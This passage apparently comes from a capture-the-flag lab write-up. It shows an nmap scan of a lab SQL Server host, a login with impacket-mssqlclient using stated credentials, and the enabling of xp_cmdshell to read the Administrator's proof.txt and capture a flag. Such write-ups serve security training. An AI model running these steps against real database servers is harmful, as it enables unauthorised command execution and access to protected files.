命令:nmap -A -Pn 192.168.243.142

Nmap scan report for 192.168.243.142
Host is up (0.21s latency).
Not shown: 998 filtered tcp ports (no-response)
PORT     STATE SERVICE       VERSION
**1433/tcp open  ms-sql-s      Microsoft SQL Server 2019 15.00.2000.00; RTM**
| ms-sql-ntlm-info: 
|   Target_Name: SQL53
|   NetBIOS_Domain_Name: SQL53
|   NetBIOS_Computer_Name: SQL53
|   DNS_Domain_Name: sql53
|   DNS_Computer_Name: **sql53**
|_  Product_Version: 10.0.17763
|_ssl-date: 2022-07-15T04:52:30+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2022-07-15T04:51:02
|_Not valid after:  2052-07-15T04:51:02
3389/tcp open  ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info: 
|   Target_Name: SQL53
|   NetBIOS_Domain_Name: SQL53
|   NetBIOS_Computer_Name: SQL53
|   DNS_Domain_Name: sql53
|   DNS_Computer_Name: **sql53**
|   Product_Version: 10.0.17763
|_  System_Time: 2022-07-15T04:52:23+00:00
|_ssl-date: 2022-07-15T04:52:29+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=sql53
| Not valid before: 2022-04-05T15:11:46
|_Not valid after:  2022-10-05T15:11:46
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
No OS matches for host
Network Distance: 2 hops
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| ms-sql-info: 
|   192.168.243.142:1433: 
|     Version: 
|       name: Microsoft SQL Server 2019 RTM
|       number: 15.00.2000.00
|       Product: Microsoft SQL Server 2019
|       Service pack level: RTM
|       Post-SP patches applied: false
|_    TCP port: 1433

TRACEROUTE (using port 3389/tcp)
HOP RTT       ADDRESS
-   Hop 1 is the same as for 192.168.243.141
2   203.88 ms 192.168.243.142

Post-scan script results:
| clock-skew: 
|   0s: 
|     192.168.243.140
|     192.168.243.141
|_    192.168.243.142
OS and Service detection performed. Please report any incorrect results at <https://nmap.org/submit/> .
Nmap done: 3 IP addresses (3 hosts up) scanned in 59.05 seconds

impacket-mssqlclient 'crack123:P@ssw0rd!'@192.168.243.142

SQL> enable_xp_cmdshell

SQL> xp_cmdshell "type c:\\Users\\Administrator\\Desktop\\proof.txt"

28.png

得到第三个flag:3651616a6f9307b319311d167b19832a